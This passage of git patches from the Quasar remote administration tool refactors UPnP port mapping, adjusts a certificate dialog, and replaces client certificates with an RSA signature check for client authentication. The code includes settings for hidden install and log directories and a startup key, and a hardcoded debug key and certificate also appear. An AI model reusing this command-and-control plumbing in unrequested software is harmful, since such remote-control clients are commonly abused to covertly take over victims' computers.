ProcessingDisconnect = false; OnServerState(true); - if (_item != null) - { - _item.Dispose(); - _item = null; - } - _item = new SocketAsyncEventArgs(); _item.Completed += AcceptClient; @@ -442,6 +438,12 @@ public void Disconnect() _item = null; } + if (_UPnPService != null) + { + _UPnPService.DeletePortMap(Port); + _UPnPService = null; + } + lock (_clientsLock) { while (_clients.Count != 0) diff --git a/Quasar.Server/Networking/UPnP.cs b/Quasar.Server/Networking/UPnP.cs deleted file mode 100644 index 768ec2efc..000000000 --- a/Quasar.Server/Networking/UPnP.cs +++ /dev/null @@ -1,144 +0,0 @@ -using System; -using System.Collections.Generic; -using Mono.Nat; - -namespace Quasar.Server.Networking -{ - internal static class UPnP - { - private static Dictionary _mappings; - private static bool _discoveryComplete; - private static INatDevice _device; - private static int _port = -1; - - /// - /// Initializes the discovery of new UPnP devices. - /// - public static void Initialize() - { - _mappings = new Dictionary(); - - try - { - NatUtility.DeviceFound += DeviceFound; - NatUtility.DeviceLost += DeviceLost; - - _discoveryComplete = false; - - NatUtility.StartDiscovery(); - } - catch (Exception) - { - } - } - - /// - /// Initializes the discovery of new UPnP devices - /// and creates a port map with the given port. - /// - /// The port to map. - public static void Initialize(int port) - { - _port = port; - Initialize(); - } - - /// - /// Tells if the class found an UPnP device. - /// - public static bool IsDeviceFound - { - get { return _device != null; } - } - - /// - /// Creates a new port map. - /// - /// The port to map. - /// The port which has been mapped, -1 if it failed. - /// True if successfull, else False. - public static bool CreatePortMap(int port, out int externalPort) - { - if (!_discoveryComplete) - { - externalPort = -1; - return false; - } - - try - { - Mapping mapping = new Mapping(Protocol.Tcp, port, port); - - for (int i = 0; i < 3; i++) - _device.BeginCreatePortMap(mapping, EndCreateAsync, null); - - if (_mappings.ContainsKey(mapping.PrivatePort)) - _mappings[mapping.PrivatePort] = mapping; - else - _mappings.Add(mapping.PrivatePort, mapping); - - externalPort = mapping.PublicPort; - return true; - } - catch (MappingException) - { - externalPort = -1; - return false; - } - } - - private static void EndCreateAsync(IAsyncResult ar) - { - _device?.EndCreatePortMap(ar); - } - - private static void EndDeleteAsync(IAsyncResult ar) - { - _device?.EndDeletePortMap(ar); - } - - /// - /// Deletes an existing port map. - /// - /// The port to delete. - public static void DeletePortMap(int port) - { - if (!_discoveryComplete) - return; - - Mapping mapping; - if (_mappings.TryGetValue(port, out mapping)) - { - try - { - for (int i = 0; i < 3; i++) - _device.BeginDeletePortMap(mapping, EndDeleteAsync, null); - } - catch (MappingException) - { - } - } - } - - private static void DeviceFound(object sender, DeviceEventArgs args) - { - _device = args.Device; - - NatUtility.StopDiscovery(); - - _discoveryComplete = true; - - if (_port > 0) - { - int outPort; - CreatePortMap(_port, out outPort); - } - } - - private static void DeviceLost(object sender, DeviceEventArgs args) - { - _device = null; - _discoveryComplete = false; - } - } -} \ No newline at end of file diff --git a/Quasar.Server/Networking/UPnPService.cs b/Quasar.Server/Networking/UPnPService.cs new file mode 100644 index 000000000..278f45090 --- /dev/null +++ b/Quasar.Server/Networking/UPnPService.cs @@ -0,0 +1,125 @@ +using Mono.Nat; +using System; +using System.Collections.Generic; + +namespace Quasar.Server.Networking +{ + public class UPnPService + { + /// + /// Used to keep track of all created mappings. + /// + private readonly Dictionary _mappings = new Dictionary(); + + /// + /// The discovered UPnP device. + /// + private INatDevice _device; + + /// + /// The port used to create an mapping once a UPnP device was found. + /// + private readonly int _port; + + /// + /// Initializes the discovery of new UPnP devices and creates a port mapping using the given port + /// once a suitable device was found. + /// + /// The port to map. + public UPnPService(int port) : this() + { + _port = port; + } + + /// + /// Initializes the discovery of new UPnP devices. + /// + public UPnPService() + { + NatUtility.DeviceFound += DeviceFound; + NatUtility.DeviceLost += DeviceLost; + NatUtility.StartDiscovery(); + } + + /// + /// States if an UPnP device was found. + /// + public bool DiscoveryCompleted => _device != null; + + /// + /// Creates a new port mapping on the UPnP device. + /// + /// The port to map. + public void CreatePortMap(int port) + { + if (!DiscoveryCompleted) + return; + + try + { + Mapping mapping = new Mapping(Protocol.Tcp, port, port); + + _device.BeginCreatePortMap(mapping, EndCreateAsync, mapping); + } + catch (MappingException) + { + } + } + + private void EndCreateAsync(IAsyncResult ar) + { + var mapping = (Mapping) ar.AsyncState; + + _device?.EndCreatePortMap(ar); + + if (_mappings.ContainsKey(mapping.PrivatePort)) + _mappings[mapping.PrivatePort] = mapping; + else + _mappings.Add(mapping.PrivatePort, mapping); + } + + private void EndDeleteAsync(IAsyncResult ar) + { + var mapping = (Mapping)ar.AsyncState; + + _device?.EndDeletePortMap(ar); + + _mappings.Remove(mapping.PrivatePort); + } + + /// + /// Deletes an existing port map. + /// + /// The port to delete. + public void DeletePortMap(int port) + { + if (!DiscoveryCompleted) + return; + + if (_mappings.TryGetValue(port, out var mapping)) + { + try + { + _device.BeginDeletePortMap(mapping, EndDeleteAsync, mapping); + } + catch (MappingException) + { + } + } + } + + private void DeviceFound(object sender, DeviceEventArgs args) + { + _device = args.Device; + NatUtility.StopDiscovery(); + + if (_port > 0) + CreatePortMap(_port); + } + + private void DeviceLost(object sender, DeviceEventArgs args) + { + _device = null; + } + } +} diff --git a/Quasar.Server/Quasar.Server.csproj b/Quasar.Server/Quasar.Server.csproj index 1c9d00a73..fac5d9303 100644 --- a/Quasar.Server/Quasar.Server.csproj +++ b/Quasar.Server/Quasar.Server.csproj @@ -144,7 +144,7 @@ - + From b2916386c03df69b66263325f76a3607d68bad3c Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 3 Nov 2018 17:53:24 +0100 Subject: [PATCH 159/229] Improve certificate creation/import dialog --- .../Forms/FrmCertificate.Designer.cs | 32 +++++++++++++------ Quasar.Server/Forms/FrmCertificate.cs | 18 ++++++++--- 2 files changed, 37 insertions(+), 13 deletions(-) diff --git a/Quasar.Server/Forms/FrmCertificate.Designer.cs b/Quasar.Server/Forms/FrmCertificate.Designer.cs index 38cf8cd94..3abf75156 100644 --- a/Quasar.Server/Forms/FrmCertificate.Designer.cs +++ b/Quasar.Server/Forms/FrmCertificate.Designer.cs @@ -36,6 +36,7 @@ private void InitializeComponent() this.btnImport = new System.Windows.Forms.Button(); this.btnSave = new System.Windows.Forms.Button(); this.label1 = new System.Windows.Forms.Label(); + this.btnExit = new System.Windows.Forms.Button(); this.SuspendLayout(); // // lblInfo @@ -75,12 +76,12 @@ private void InitializeComponent() this.txtDetails.Name = "txtDetails"; this.txtDetails.ReadOnly = true; this.txtDetails.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; - this.txtDetails.Size = new System.Drawing.Size(488, 230); + this.txtDetails.Size = new System.Drawing.Size(517, 230); this.txtDetails.TabIndex = 4; // // btnImport // - this.btnImport.Location = new System.Drawing.Point(148, 27); + this.btnImport.Location = new System.Drawing.Point(93, 27); this.btnImport.Name = "btnImport"; this.btnImport.Size = new System.Drawing.Size(130, 23); this.btnImport.TabIndex = 2; @@ -90,10 +91,11 @@ private void InitializeComponent() // // btnSave // - this.btnSave.Location = new System.Drawing.Point(425, 306); + this.btnSave.Enabled = false; + this.btnSave.Location = new System.Drawing.Point(373, 305); this.btnSave.Name = "btnSave"; this.btnSave.Size = new System.Drawing.Size(75, 23); - this.btnSave.TabIndex = 5; + this.btnSave.TabIndex = 6; this.btnSave.Text = "Save"; this.btnSave.UseVisualStyleBackColor = true; this.btnSave.Click += new System.EventHandler(this.btnSave_Click); @@ -101,18 +103,29 @@ private void InitializeComponent() // label1 // this.label1.AutoSize = true; - this.label1.Font = new System.Drawing.Font("Segoe UI Semibold", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.Location = new System.Drawing.Point(22, 308); + this.label1.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label1.Location = new System.Drawing.Point(12, 310); this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(384, 17); - this.label1.TabIndex = 6; + this.label1.Size = new System.Drawing.Size(355, 15); + this.label1.TabIndex = 5; this.label1.Text = "KEEP THIS FILE SAFE! LOSS RESULTS IN LOOSING ALL CLIENTS!"; // + // btnExit + // + this.btnExit.Location = new System.Drawing.Point(454, 306); + this.btnExit.Name = "btnExit"; + this.btnExit.Size = new System.Drawing.Size(75, 23); + this.btnExit.TabIndex = 7; + this.btnExit.Text = "Exit"; + this.btnExit.UseVisualStyleBackColor = true; + this.btnExit.Click += new System.EventHandler(this.btnExit_Click); + // // FrmCertificate // this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; - this.ClientSize = new System.Drawing.Size(512, 341); + this.ClientSize = new System.Drawing.Size(541, 341); + this.Controls.Add(this.btnExit); this.Controls.Add(this.label1); this.Controls.Add(this.btnSave); this.Controls.Add(this.lblDescription); @@ -141,5 +154,6 @@ private void InitializeComponent() private System.Windows.Forms.Button btnImport; private System.Windows.Forms.Button btnSave; private System.Windows.Forms.Label label1; + private System.Windows.Forms.Button btnExit; } } \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmCertificate.cs b/Quasar.Server/Forms/FrmCertificate.cs index 804aaba7a..3f795c132 100644 --- a/Quasar.Server/Forms/FrmCertificate.cs +++ b/Quasar.Server/Forms/FrmCertificate.cs @@ -17,10 +17,16 @@ public FrmCertificate() InitializeComponent(); } - private void btnCreate_Click(object sender, EventArgs e) + private void SetCertificate(X509Certificate2 certificate) { - _certificate = CertificateHelper.CreateCertificateAuthority("Quasar Server CA", 4096); + _certificate = certificate; txtDetails.Text = _certificate.ToString(false); + btnSave.Enabled = true; + } + + private void btnCreate_Click(object sender, EventArgs e) + { + SetCertificate(CertificateHelper.CreateCertificateAuthority("Quasar Server CA", 4096)); } private void btnImport_Click(object sender, EventArgs e) @@ -35,8 +41,7 @@ private void btnImport_Click(object sender, EventArgs e) { try { - _certificate = new X509Certificate2(ofd.FileName, "", X509KeyStorageFlags.Exportable); - txtDetails.Text = _certificate.ToString(false); + SetCertificate(new X509Certificate2(ofd.FileName, "", X509KeyStorageFlags.Exportable)); } catch (Exception ex) { @@ -86,5 +91,10 @@ private void btnSave_Click(object sender, EventArgs e) "Save error", MessageBoxButtons.OK, MessageBoxIcon.Error); } } + + private void btnExit_Click(object sender, EventArgs e) + { + Environment.Exit(0); + } } } From a7dc36ae187989abe03868446e8c9c80440ff243 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 4 Nov 2018 22:53:14 +0100 Subject: [PATCH 160/229] Remove client certificates and use different way for client authentication --- Quasar.Client/Config/Settings.cs | 45 +++++++++----- Quasar.Client/Networking/Client.cs | 13 ++-- Quasar.Client/Networking/QuasarClient.cs | 7 ++- Quasar.Client/Program.cs | 2 +- Quasar.Common/Cryptography/Sha256.cs | 10 ++- .../Messages/ClientIdentification.cs | 3 + Quasar.Server/Build/ClientBuilder.cs | 19 +++--- Quasar.Server/Forms/FrmBuilder.cs | 30 +++++++-- Quasar.Server/Networking/QuasarServer.cs | 19 +++++- Quasar.Server/Networking/Server.cs | 62 ++----------------- 10 files changed, 107 insertions(+), 103 deletions(-) diff --git a/Quasar.Client/Config/Settings.cs b/Quasar.Client/Config/Settings.cs index 31b6aa6fc..aa8194059 100644 --- a/Quasar.Client/Config/Settings.cs +++ b/Quasar.Client/Config/Settings.cs @@ -1,17 +1,17 @@ -using System; -using System.Security.Cryptography.X509Certificates; +using Quasar.Common.Cryptography; using Quasar.Common.Helpers; - -#if !DEBUG -using Quasar.Common.Cryptography; -#endif +using System; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Windows.Forms; namespace Quasar.Client.Config { public static class Settings { #if DEBUG - public static string VERSION = System.Windows.Forms.Application.ProductVersion; + public static string VERSION = Application.ProductVersion; public static string HOSTS = "localhost:4782;"; public static int RECONNECTDELAY = 500; public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData; @@ -27,17 +27,14 @@ public static class Settings public static string ENCRYPTIONKEY = "-.)4>[=u%5G3hY3&"; public static string TAG = "DEBUG"; public static string LOGDIRECTORYNAME = "Logs"; - public static string CLIENTCERTIFICATESTR = "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"; - public static X509Certificate2 CLIENTCERTIFICATE; - public static string SERVERCERTIFICATESTR = CLIENTCERTIFICATESTR; // dummy certificate, it's not used in production + public static string SERVERSIGNATURE = ""; + public static string SERVERCERTIFICATESTR = ""; public static X509Certificate2 SERVERCERTIFICATE; public static bool HIDELOGDIRECTORY = false; public static bool HIDEINSTALLSUBDIRECTORY = false; public static bool Initialize() { - CLIENTCERTIFICATE = new X509Certificate2(Convert.FromBase64String(CLIENTCERTIFICATESTR)); - SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(SERVERCERTIFICATESTR)); FixDirectory(); return true; } @@ -58,8 +55,7 @@ public static bool Initialize() public static string ENCRYPTIONKEY = ""; public static string TAG = ""; public static string LOGDIRECTORYNAME = ""; - public static string CLIENTCERTIFICATESTR = ""; - public static X509Certificate2 CLIENTCERTIFICATE; + public static string SERVERSIGNATURE = ""; public static string SERVERCERTIFICATESTR = ""; public static X509Certificate2 SERVERCERTIFICATE; public static bool HIDELOGDIRECTORY = false; @@ -77,10 +73,10 @@ public static bool Initialize() MUTEX = aes.Decrypt(MUTEX); STARTUPKEY = aes.Decrypt(STARTUPKEY); LOGDIRECTORYNAME = aes.Decrypt(LOGDIRECTORYNAME); - CLIENTCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(CLIENTCERTIFICATESTR))); + SERVERSIGNATURE = aes.Decrypt(SERVERSIGNATURE); SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(SERVERCERTIFICATESTR))); FixDirectory(); - return true; + return VerifyHash(); } #endif @@ -101,5 +97,20 @@ static void FixDirectory() DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER); } + + static bool VerifyHash() + { + try + { + var csp = (RSACryptoServiceProvider) SERVERCERTIFICATE.PublicKey.Key; + return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(ENCRYPTIONKEY)), CryptoConfig.MapNameToOID("SHA256"), + Convert.FromBase64String(SERVERSIGNATURE)); + + } + catch (Exception) + { + return false; + } + } } -} \ No newline at end of file +} diff --git a/Quasar.Client/Networking/Client.cs b/Quasar.Client/Networking/Client.cs index e3b40efa5..32412c1f1 100644 --- a/Quasar.Client/Networking/Client.cs +++ b/Quasar.Client/Networking/Client.cs @@ -176,12 +176,10 @@ public ReverseProxyClient[] ProxyClients } } - private SslStream _stream; - /// - /// The client certificate. + /// The stream used for communication. /// - private readonly X509Certificate2 _clientCertificate; + private SslStream _stream; /// /// The server certificate. @@ -276,11 +274,9 @@ public ReverseProxyClient[] ProxyClients /// /// Constructor of the client, initializes serializer types. /// - /// The client certificate. /// The server certificate. - protected Client(X509Certificate2 clientCertificate, X509Certificate2 serverCertificate) + protected Client(X509Certificate2 serverCertificate) { - _clientCertificate = clientCertificate; _serverCertificate = serverCertificate; _readBuffer = new byte[BUFFER_SIZE]; _tempHeader = new byte[HEADER_SIZE]; @@ -306,8 +302,7 @@ protected void Connect(IPAddress ip, ushort port) if (handle.Connected) { _stream = new SslStream(new NetworkStream(handle, true), false, ValidateServerCertificate); - X509CertificateCollection col = new X509CertificateCollection {_clientCertificate}; - _stream.AuthenticateAsClient(ip.ToString(), col, SslProtocols.Tls, false); + _stream.AuthenticateAsClient(ip.ToString(), null, SslProtocols.Tls, false); _stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null); OnClientState(true); } diff --git a/Quasar.Client/Networking/QuasarClient.cs b/Quasar.Client/Networking/QuasarClient.cs index 627b1365c..a3db3fdcb 100644 --- a/Quasar.Client/Networking/QuasarClient.cs +++ b/Quasar.Client/Networking/QuasarClient.cs @@ -24,8 +24,8 @@ public class QuasarClient : Client private readonly HostsManager _hosts; private readonly SafeRandom _random; - public QuasarClient(HostsManager hostsManager, X509Certificate2 clientCertificate, X509Certificate2 serverCertificate) - : base(clientCertificate, serverCertificate) + public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificate) + : base(serverCertificate) { this._hosts = hostsManager; this._random = new SafeRandom(); @@ -112,7 +112,8 @@ private void OnClientState(Client client, bool connected) Username = WindowsAccountHelper.GetName(), PcName = SystemHelper.GetPcName(), Tag = Settings.TAG, - EncryptionKey = Settings.ENCRYPTIONKEY + EncryptionKey = Settings.ENCRYPTIONKEY, + Signature = Convert.FromBase64String(Settings.SERVERSIGNATURE) }); if (ClientData.AddToStartupFailed) diff --git a/Quasar.Client/Program.cs b/Quasar.Client/Program.cs index f9fd118d7..9da5a5301 100644 --- a/Quasar.Client/Program.cs +++ b/Quasar.Client/Program.cs @@ -138,7 +138,7 @@ private static bool Initialize() }) {IsBackground = true}.Start(); } - ConnectClient = new QuasarClient(hosts, Settings.CLIENTCERTIFICATE, Settings.SERVERCERTIFICATE); + ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); return true; } else diff --git a/Quasar.Common/Cryptography/Sha256.cs b/Quasar.Common/Cryptography/Sha256.cs index 9446a45b4..c7a6414ce 100644 --- a/Quasar.Common/Cryptography/Sha256.cs +++ b/Quasar.Common/Cryptography/Sha256.cs @@ -11,7 +11,7 @@ public static string ComputeHash(string input) using (SHA256Managed sha = new SHA256Managed()) { - data = sha.ComputeHash(data, 0, data.Length); + data = sha.ComputeHash(data); } StringBuilder hash = new StringBuilder(); @@ -21,5 +21,13 @@ public static string ComputeHash(string input) return hash.ToString().ToUpper(); } + + public static byte[] ComputeHash(byte[] input) + { + using (SHA256Managed sha = new SHA256Managed()) + { + return sha.ComputeHash(input); + } + } } } diff --git a/Quasar.Common/Messages/ClientIdentification.cs b/Quasar.Common/Messages/ClientIdentification.cs index da73b302a..5fae372a0 100644 --- a/Quasar.Common/Messages/ClientIdentification.cs +++ b/Quasar.Common/Messages/ClientIdentification.cs @@ -43,5 +43,8 @@ public class ClientIdentification : IMessage [ProtoMember(13)] public string EncryptionKey { get; set; } + + [ProtoMember(14)] + public byte[] Signature { get; set; } } } diff --git a/Quasar.Server/Build/ClientBuilder.cs b/Quasar.Server/Build/ClientBuilder.cs index 625443ee0..f5be4962d 100644 --- a/Quasar.Server/Build/ClientBuilder.cs +++ b/Quasar.Server/Build/ClientBuilder.cs @@ -2,12 +2,11 @@ using Mono.Cecil.Cil; using Quasar.Common.Cryptography; using Quasar.Common.Helpers; +using Quasar.Server.Models; using System; -using System.IO; +using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates; -using System.Windows.Forms; -using Quasar.Server.Helper; -using Quasar.Server.Models; +using System.Text; using Vestris.ResourceLib; namespace Quasar.Server.Build @@ -86,9 +85,15 @@ private void WriteSettings(AssemblyDefinition asmDef) var aes = new Aes256(key); var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable); - var clientCertificate = CertificateHelper.CreateCertificate("Quasar Client", caCertificate, 4096); var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); // export without private key, very important! + byte[] signature; + using (var csp = (RSACryptoServiceProvider) caCertificate.PrivateKey) + { + var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key)); + signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256")); + } + foreach (var typeDef in asmDef.Modules[0].Types) { if (typeDef.FullName == "Quasar.Client.Config.Settings") @@ -132,8 +137,8 @@ private void WriteSettings(AssemblyDefinition asmDef) case 9: //LogDirectoryName methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.LogDirectoryName); break; - case 10: //ClientCertificate - methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(clientCertificate.Export(X509ContentType.Pkcs12))); + case 10: //ServerSignature + methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature)); break; case 11: //ServerCertificate methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert))); diff --git a/Quasar.Server/Forms/FrmBuilder.cs b/Quasar.Server/Forms/FrmBuilder.cs index 31a490a4e..1e718548b 100644 --- a/Quasar.Server/Forms/FrmBuilder.cs +++ b/Quasar.Server/Forms/FrmBuilder.cs @@ -378,15 +378,33 @@ private void BuildClient(object o) builder.Build(); - MessageBox.Show(this, - $"Successfully built client!\nSaved to: {options.OutputPath}\n\nOnly install it on computers where you have the permission to do so!", - "Build Success", MessageBoxButtons.OK, MessageBoxIcon.Information); + try + { + this.Invoke((MethodInvoker) delegate + { + MessageBox.Show(this, + $"Successfully built client!\nSaved to: {options.OutputPath}\n\nOnly install it on computers where you have the permission to do so!", + "Build Success", MessageBoxButtons.OK, MessageBoxIcon.Information); + }); + } + catch (Exception) + { + } } catch (Exception ex) { - MessageBox.Show(this, - $"An error occurred!\n\nError Message: {ex.Message}\nStack Trace:\n{ex.StackTrace}", "Build failed", - MessageBoxButtons.OK, MessageBoxIcon.Error); + try + { + this.Invoke((MethodInvoker)delegate + { + MessageBox.Show(this, + $"An error occurred!\n\nError Message: {ex.Message}\nStack Trace:\n{ex.StackTrace}", "Build failed", + MessageBoxButtons.OK, MessageBoxIcon.Error); + }); + } + catch (Exception) + { + } } SetBuildState(true); } diff --git a/Quasar.Server/Networking/QuasarServer.cs b/Quasar.Server/Networking/QuasarServer.cs index 1afaa6309..7783f8ddb 100644 --- a/Quasar.Server/Networking/QuasarServer.cs +++ b/Quasar.Server/Networking/QuasarServer.cs @@ -1,6 +1,10 @@ -using Quasar.Common.Messages; +using System; +using Quasar.Common.Messages; using System.Linq; +using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates; +using System.Text; +using Quasar.Common.Cryptography; namespace Quasar.Server.Networking { @@ -143,7 +147,20 @@ private bool IdentifyClient(Client client, ClientIdentification packet) //if (Settings.ShowToolTip) // client.Send(new GetSystemInfo()); +#if !DEBUG + try + { + var csp = (RSACryptoServiceProvider)ServerCertificate.PublicKey.Key; + return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(packet.EncryptionKey)), + CryptoConfig.MapNameToOID("SHA256"), packet.Signature); + } + catch (Exception) + { + return false; + } +#else return true; +#endif } } } diff --git a/Quasar.Server/Networking/Server.cs b/Quasar.Server/Networking/Server.cs index 952f4009a..9f00e9d3d 100644 --- a/Quasar.Server/Networking/Server.cs +++ b/Quasar.Server/Networking/Server.cs @@ -182,7 +182,7 @@ protected Client[] Clients /// /// The server certificate. /// - private readonly X509Certificate2 _serverCertificate; + protected readonly X509Certificate2 ServerCertificate; /// /// The event to accept new connections asynchronously. @@ -215,7 +215,7 @@ protected Client[] Clients /// The server certificate. protected Server(X509Certificate2 serverCertificate) { - _serverCertificate = serverCertificate; + ServerCertificate = serverCertificate; TypeRegistry.AddTypesToSerializer(typeof(IMessage), TypeRegistry.GetPacketTypes(typeof(IMessage)).ToArray()); } @@ -274,9 +274,9 @@ private void AcceptClient(object s, SocketAsyncEventArgs e) { Socket clientSocket = e.AcceptSocket; clientSocket.SetKeepAliveEx(KeepAliveInterval, 